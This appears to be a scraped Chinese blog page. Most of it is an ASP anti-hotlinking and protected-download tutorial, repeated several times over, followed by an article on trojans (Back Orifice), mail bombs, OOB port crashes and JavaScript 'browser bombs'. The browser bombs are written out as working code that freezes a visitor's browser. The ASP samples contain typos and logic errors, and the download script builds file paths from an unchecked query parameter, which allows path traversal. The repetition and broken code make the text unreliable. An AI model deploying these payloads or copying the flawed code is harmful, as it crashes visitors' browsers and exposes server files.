具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
第三種:
最簡單的用Active Server Pages防站外提交表單、跨站提交表單、防盜鏈……
方法:Request.SeverVariables("HTTP_REFERER")
解釋:當某人通過鏈接到達當前頁,HTTP_REFERER 就保存了這個用戶的來源(來路)
舉個例子,這個例子很簡單,只是拋磚引玉而已,大家可以增加更多的功能。
如下,只有首先從“ http://www.gc888.cn”登陸才能看到文件內容。
源碼:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最簡單的用asp防盜鏈</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必須從"&url&"訪問才能進來!")
End if
End Function
%>
<%
Sub main()
Response.write("這兒是你要顯示的網頁內容")
End sub
%>
</body>
</html>
該方法對防止盜鏈文章、站外提交表單、跨站提交表單還比較有效,對于軟件盜鏈比如.rar.zip.exe等倒沒什么作用。
不知各位讀者是否有好的主意,呵呵。
還有一種方法就是用判斷服務器及上一頁的地址來完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要從外部提交數據"
else
call main()
end if
sub main()
’你的主體內容
end sub
%>
示例代碼:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法鏈接!" '防止盜鏈
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陸!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "無效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '對圖像文件不出現下載對話框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '設置pdf類型文件目錄
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '設置DOC類型文件目錄
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '設置圖像文件目錄
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地圖片,音樂等ASP防盜鏈代碼(asp)
以下是引用片段:
以下是引用片段:
<%
'定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
(1)下面的示例將 ContentType 屬性設置為其他的常見值。
text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
asp下載防盜鏈代碼
第一種:
終于對下載系統做了個防盜鏈措施,在下載的頁面頭部做了如下代碼,相關代碼如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下載的軟件來自IT學習網,請直接從主頁下載,謝謝<br>" ’防止盜鏈
response.write "<a href=http://www.gc888.cn>IT學習網http://www.gc888.cn</a>" ’防止盜鏈
response.end
end if
%>
第二種:
以下是引用片段:
以下是引用片段:
<%
’定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
下面的示例將 ContentType 屬性設置為其他的常見值。 text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
第三種:
最簡單的用Active Server Pages防站外提交表單、跨站提交表單、防盜鏈……
方法:Request.SeverVariables("HTTP_REFERER")
解釋:當某人通過鏈接到達當前頁,HTTP_REFERER 就保存了這個用戶的來源(來路)
舉個例子,這個例子很簡單,只是拋磚引玉而已,大家可以增加更多的功能。
如下,只有首先從“ http://www.gc888.cn”登陸才能看到文件內容。
源碼:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最簡單的用asp防盜鏈</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必須從"&url&"訪問才能進來!")
End if
End Function
%>
<%
Sub main()
Response.write("這兒是你要顯示的網頁內容")
End sub
%>
</body>
</html>
該方法對防止盜鏈文章、站外提交表單、跨站提交表單還比較有效,對于軟件盜鏈比如.rar.zip.exe等倒沒什么作用。
不知各位讀者是否有好的主意,呵呵。
還有一種方法就是用判斷服務器及上一頁的地址來完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要從外部提交數據"
else
call main()
end if
sub main()
’你的主體內容
end sub
%>
ASP防止盜鏈或防止下載的方法
[ 2007-03-25 03:04:24 | 作者: sun ]
我們在管理網站文件時,可以把擴展名一樣的文件放在同一個目錄下,起一個比較特別名字,例如放pdf文件目錄為the_pdf_file_s,把下面代碼另存為down.asp,他的網上路徑為http://www.xx.com/down.asp,我們就可以用http://www.xx.com/down.asp?FileName=51windows.pdf來下載這個文件了,而且下載者無法看到這個文件實際下載路徑的!在down.asp中我們還可以設置下載文件是否需要登陸,判斷下載的來源頁是否為外部網站,從而可以做到防止文件被盜鏈。
示例代碼:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法鏈接!" '防止盜鏈
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陸!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "無效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '對圖像文件不出現下載對話框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '設置pdf類型文件目錄
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '設置DOC類型文件目錄
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '設置圖像文件目錄
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地圖片,音樂等ASP防盜鏈代碼(asp)
以下是引用片段:
以下是引用片段:
<%
'定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
(1)下面的示例將 ContentType 屬性設置為其他的常見值。
text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
asp下載防盜鏈代碼
第一種:
終于對下載系統做了個防盜鏈措施,在下載的頁面頭部做了如下代碼,相關代碼如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下載的軟件來自IT學習網,請直接從主頁下載,謝謝<br>" ’防止盜鏈
response.write "<a href=http://www.gc888.cn>IT學習網http://www.gc888.cn</a>" ’防止盜鏈
response.end
end if
%>
第二種:
以下是引用片段:
以下是引用片段:
<%
’定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
下面的示例將 ContentType 屬性設置為其他的常見值。 text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
第三種:
最簡單的用Active Server Pages防站外提交表單、跨站提交表單、防盜鏈……
方法:Request.SeverVariables("HTTP_REFERER")
解釋:當某人通過鏈接到達當前頁,HTTP_REFERER 就保存了這個用戶的來源(來路)
舉個例子,這個例子很簡單,只是拋磚引玉而已,大家可以增加更多的功能。
如下,只有首先從“ http://www.gc888.cn”登陸才能看到文件內容。
源碼:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最簡單的用asp防盜鏈</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必須從"&url&"訪問才能進來!")
End if
End Function
%>
<%
Sub main()
Response.write("這兒是你要顯示的網頁內容")
End sub
%>
</body>
</html>
該方法對防止盜鏈文章、站外提交表單、跨站提交表單還比較有效,對于軟件盜鏈比如.rar.zip.exe等倒沒什么作用。
不知各位讀者是否有好的主意,呵呵。
還有一種方法就是用判斷服務器及上一頁的地址來完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要從外部提交數據"
else
call main()
end if
sub main()
’你的主體內容
end sub
%>
示例代碼:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法鏈接!" '防止盜鏈
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陸!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "無效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '對圖像文件不出現下載對話框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '設置pdf類型文件目錄
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '設置DOC類型文件目錄
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '設置圖像文件目錄
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地圖片,音樂等ASP防盜鏈代碼(asp)
以下是引用片段:
以下是引用片段:
<%
'定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
(1)下面的示例將 ContentType 屬性設置為其他的常見值。
text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
asp下載防盜鏈代碼
第一種:
終于對下載系統做了個防盜鏈措施,在下載的頁面頭部做了如下代碼,相關代碼如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下載的軟件來自IT學習網,請直接從主頁下載,謝謝<br>" ’防止盜鏈
response.write "<a href=http://www.gc888.cn>IT學習網http://www.gc888.cn</a>" ’防止盜鏈
response.end
end if
%>
第二種:
以下是引用片段:
以下是引用片段:
<%
’定義函數,用ADODB.Stream讀取二進制數據
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’設置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你讀取存在本地的文件,防止被
別人知道真實路徑盜連的。
%>
下面的示例將 ContentType 屬性設置為其他的常見值。 text/HTML 這個就不說了
image/GIF gif圖片
image/JPEG jpg圖片
application/x-cdf cdf文檔
application/wma 就是西瓜哪個音樂類型了
具體可以參照 Web 瀏覽器文檔或當前的 HTTP 規格說明
這樣再利用asp的儲存session,cookies,以及讀取HTTP頭等特殊功能就可以完全真正的實現防盜連,這里
沒有設置緩存,如果訪問量巨大,我想設置下就會更好吧。
第三種:
最簡單的用Active Server Pages防站外提交表單、跨站提交表單、防盜鏈……
方法:Request.SeverVariables("HTTP_REFERER")
解釋:當某人通過鏈接到達當前頁,HTTP_REFERER 就保存了這個用戶的來源(來路)
舉個例子,這個例子很簡單,只是拋磚引玉而已,大家可以增加更多的功能。
如下,只有首先從“ http://www.gc888.cn”登陸才能看到文件內容。
源碼:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最簡單的用asp防盜鏈</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必須從"&url&"訪問才能進來!")
End if
End Function
%>
<%
Sub main()
Response.write("這兒是你要顯示的網頁內容")
End sub
%>
</body>
</html>
該方法對防止盜鏈文章、站外提交表單、跨站提交表單還比較有效,對于軟件盜鏈比如.rar.zip.exe等倒沒什么作用。
不知各位讀者是否有好的主意,呵呵。
還有一種方法就是用判斷服務器及上一頁的地址來完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要從外部提交數據"
else
call main()
end if
sub main()
’你的主體內容
end sub
%>
推薦:各類攻擊軟件原理與防范
[ 2007-03-25 03:02:20 | 作者: sun ]
特洛伊木馬原理
BO(Back oriffice)象是一種沒有任何權限限制的FTP服務器程序,黑客先使用各種方法誘惑他人使用BO的服務器端程序,一旦得逞便可通過BO客戶端程序經由TCP/IP網絡進入并控制遠程的Windows的微機。
其工作原理:Boserve.exe在對方的電腦中運行后,自動在win里注冊并隱藏起來,控制者在對方上網后通過Boconfig.exe(安裝設置的程序)和Boclient.exe(文本方式的控制程序)或Bogui.exe(圖形界面控制程序)來控制對方。
網上更有一些害人蟲將木馬程序和其他應用程序結合起來發送給攻擊者,只要對方運行了那個程序,木馬一樣的會駐留到Windwos系統中。
BO本質上屬于客戶機/服務器應用程序。它通過一個極其簡單的圖形用戶界面和控制面板,可以對感染了BO(即運行了 BO服務器)的機器操作Windows本身具備的所有功能。
這個僅有123K的程序,水平一流,令那些復雜而龐大的商用遠程管理 軟件相形見絀。而真正可怕的是:BO沒有利用系統和軟件的任何漏洞或Bug,也沒有利用任何微軟未公開的內部API,而完全是利用Windows系統的基本設計缺陷。甚至連普通的局域網防火墻和代理服務器也難以有效抵擋。
BO服務器可通過網上下載、電子郵件、盜版光盤、人為投放等途徑傳播,并且可極其隱藏地粘貼在其他應用程序。一旦激活,就可以自動安裝,創建Windll.dll,然后刪除自安裝程序,埋名隱姓,潛伏在機器中。外人就可通過BO客戶機程序,方便地搜索到世界上任何一臺被BO感染并上網的計算機IP地址。通過IP地址就可對其輕易實現網絡和系統控制功能。
可獲取包括網址口令、撥號上網口令、用戶口令、磁盤、CPU,軟件版本等詳細的系統信息;可刪除、復制、檢查、查看文件;可運行機內任何一個程序;可捕捉屏幕信息;可上傳各種文件;可以查閱、創建、刪除和修改系統注冊表;甚至可以使計算機重新啟動或鎖死機器。而所有這些功能的實現,只需在菜單中作一選擇,輕摁一鍵,就可輕松完成。 除了BO外,還有很多原理和它差不多的特洛伊木馬程序,例如:“NetSpy”、“Netbus”等。
防范
不要隨便運行不太了解的人給你的程序,特別是后綴名為exe的可執行程序。特洛伊木馬程序很多,它們的安裝服務器有Boserve.exe(122k),NETSPY.EXE(127k),如果你從Email收到或是DOWN了大小和上述文件一樣的EXE文件,運行時可要小心了。運行后如果程序突然消失,或者是無任何反應,那你很可能是被攻擊了。這時候你的電腦就完全被別人所控制,他可以復制,刪除甚至運行你電腦里的文件和程序。這時你只要到注冊表里去修改一下就可以消滅它:運行注冊表找到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
下的RunServices和RUN鍵值中的“.EXE”和“NETSPY.EXE”等的鍵值,將其刪除,重新啟動你的計算機然后刪除Windows\System下的“.EXE”和“NETSPY.EXE”等程序就行了。或用最新版本的殺毒軟件,如瑞星90(11),KV300等,你也可以下載一些專門掃除特洛伊木馬的軟件。
如何防范Back orifice2000
對于Windows95和Windows98的用戶:
檢查c:\windows\system目錄下是否有UMGR32~1.exe文件,如果有的話請運行Regedit將
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
中UMGT32.exe清除,Reboot你的機器,然后Delete你硬盤上的這個文件。
對于NT的用戶:
檢查winnt\system32目錄下是否有UMGR32~1.exe這個文件,如果有的話請先在任務管理器中對應的進程Kill掉再運行Regedit將路徑指向
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Remote Administration Service
然后Delete it,最好Reboot一次你的機器。
郵件炸彈原理
E-MAIL炸彈原本泛指一切破壞電子郵箱的辦法,一般的電子郵箱的容量在5,6M以下,平時大家收發郵件,傳送軟件都會覺得容量不夠,如果電子郵箱一下子被幾百,幾千甚至上萬封電子郵件所占據,這是電子郵件的總容量就會超過電子郵箱的總容量,以至造成郵箱超負荷而崩潰。“kaboom3”、“upyours4”、“Avalanche v2.8”就是人們常見的幾種郵件炸彈。
防范
⒈不要將自己的郵箱地址到處傳播,特別是申請上網帳號時ISP送的電子信箱,那可是要按字節收費的喲!去申請幾個免費信箱對外使用,隨便別人怎么炸,大不了不要了。
⒉最好用POP3收信,你可以用Outlook 或Foxmail等POP收信工具收取Email。例如用Outlook,你可以選擇“工具”/“收件箱助理”,然后點擊“添加”在屬性窗口可以設定對各種條件的Email的處理方式。如果我們想讓超過1024KB的郵件直接從服務器上刪除,根本不下載到計算機上,可以在郵件條件框中將“大于”選中,然后輸入1024,接著在“執行下列操作”框中選中“從服務器刪除”就行了。
⒊當某人不停炸你信箱時,你可以先打開一封信,看清對方地址,然后在收件工具的過濾器中選擇不再接收這地址的信,直接從服務器刪除。
⒋在收信時,一旦看見郵件列表的數量超過平時正常郵件的數量的若干倍,應當馬上停止下載郵件,然后再從服務器刪除炸彈郵件。(要用下面提到的工具)
⒌不要認為郵件發送有個回復功能,就可以將發炸彈的人報復回來,那是十分愚蠢的!發件人有可能是用的假地址發信,這個地址也許填得與收件人地址相同。這樣你不但不能回報對方,還會使自己的郵箱徹底完結!
⒍你還可以用一些工具軟件防止郵件炸彈。
端口攻擊原理
這類軟件是利用Window95/NT系統本身的漏洞,這與Windows下微軟網絡協議NetBIOS的一個例外處理程序OOB(Out of Band)有關。只要對方以OOB的方式,就可以通過TCP/IP傳遞一個小小的封包到某個IP地址的Port139上,該地址的電腦系統即(WINDOWS95/NT)就會“應封包而死”,自動重新開機,你未存檔的所有工作就得重新再做一遍了。
你一定會問這個封包到底里面是些什么?會有如此神奇的效果!這不過是一些很小的ICMP(Internet Control Message Protocolata)碎片,當你機器收到這份“禮物”時,你的系統會不停地試圖把碎片恢復,當然這是不可能的,它怎么會這樣便宜你了!于是你的電腦系統就這樣速度越來越慢直至完全死機!而你就只有重新啟動。
其實,并不只是Port139會出現問題,只要是使用OOB的開放接受端,都有可能出現癥狀不一的“電腦狂亂”情形。例如,Identel所用的Port113,據說收到同樣的封包也會出問題。常見的端口攻擊器有“uKe23”、“voob”、WINNUKE2”。如果你還是用的Windows95,那您就要當心了。
防范
將你的Windows95馬上升級到Windows98,首先修正Win95的BUG,在微軟主頁的附件中有對于Win95和OSR2以前的版本的補丁程序,Win98不需要。然后學會隱藏自己的IP,包括將ICQ中"IP隱藏"打開,注意避免在會顯示IP的BBS和聊天室上暴露真實身份,特別在去黑客站點訪問時最好先運行隱藏IP的程序。
JAVA炸彈原理
很多網友在聊天室中被炸了以后,就以為是被別人黑了,其實不是的。炸彈有很多種,有的是造成電腦直接死機,有的是通過HTML語言,讓你的瀏覽器吃完你的系統資源,然后你就死機了。 這里我就告訴大家幾個java炸彈的原理:
第一個炸彈是javascript類型的炸彈:
<img src="javascript:n=1;do{window.open('')}while(n==1)"
width="1">
這個Javascript語言要求瀏覽在新窗口中再打開本頁。新的頁面被打開以后就會同樣提出要求,于是瀏覽器不停地打開新窗口,沒幾秒鐘你就死機了。就算是不死機,你也必須把瀏覽器中內存中驅除出去,這樣,你就被踢出了網絡。
下面分析一下這個HTML語言的原理。 分析 "javascript:n=1;do{window.open('')}while(n==1)" ,javascript 是定義運行此語言,n=1 是定義變量 n 等于1, do{ }while(n==1) 指當 n 等于1,的時候運行{ }中間的命令,window.open('') 指打開本窗口,整個語言的意思是,變量 n 賦值為1,如果 n 等于1,那么就打開一個窗口,而 n 永遠等于1,就不停地打開新的窗口。
同樣道理,也可以利用無限循環的原理看看其他的炸彈。前面的文章中提到了 alert ("歡迎辭") 是用來致歡迎辭的,你可以在網頁中加入以下的Javascript 語言:
<SCRIPT language="LiveScript">javascript:n=1;do{alert ("嘿嘿,你死定
了!");}while(n==1)</SCRIPT>
下面介紹一個1999年5月才出爐的java炸彈,威力比上兩種都強,大家務必要當心。 我們就不在這里提供效果了!
<HTML>
<BODY>
<SCRIPT>
var color = new Array;
color
= "black";
color
= "white";
for(x = 0; x <3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
</SCRIPT>
</BODY>
</HTML>
防范
唯一的防范方法就是你在聊天室聊天時,特別是支持HTML的聊天室(比如湛江,新疆等)請你一定記住關掉你瀏覽器里的java功能,還要記住不要瀏覽一些來路不明的網站和不要在聊天室里按其他網友發出的超級鏈接,這樣可以避免遭到惡作劇者的攻擊。
BO(Back oriffice)象是一種沒有任何權限限制的FTP服務器程序,黑客先使用各種方法誘惑他人使用BO的服務器端程序,一旦得逞便可通過BO客戶端程序經由TCP/IP網絡進入并控制遠程的Windows的微機。
其工作原理:Boserve.exe在對方的電腦中運行后,自動在win里注冊并隱藏起來,控制者在對方上網后通過Boconfig.exe(安裝設置的程序)和Boclient.exe(文本方式的控制程序)或Bogui.exe(圖形界面控制程序)來控制對方。
網上更有一些害人蟲將木馬程序和其他應用程序結合起來發送給攻擊者,只要對方運行了那個程序,木馬一樣的會駐留到Windwos系統中。
BO本質上屬于客戶機/服務器應用程序。它通過一個極其簡單的圖形用戶界面和控制面板,可以對感染了BO(即運行了 BO服務器)的機器操作Windows本身具備的所有功能。
這個僅有123K的程序,水平一流,令那些復雜而龐大的商用遠程管理 軟件相形見絀。而真正可怕的是:BO沒有利用系統和軟件的任何漏洞或Bug,也沒有利用任何微軟未公開的內部API,而完全是利用Windows系統的基本設計缺陷。甚至連普通的局域網防火墻和代理服務器也難以有效抵擋。
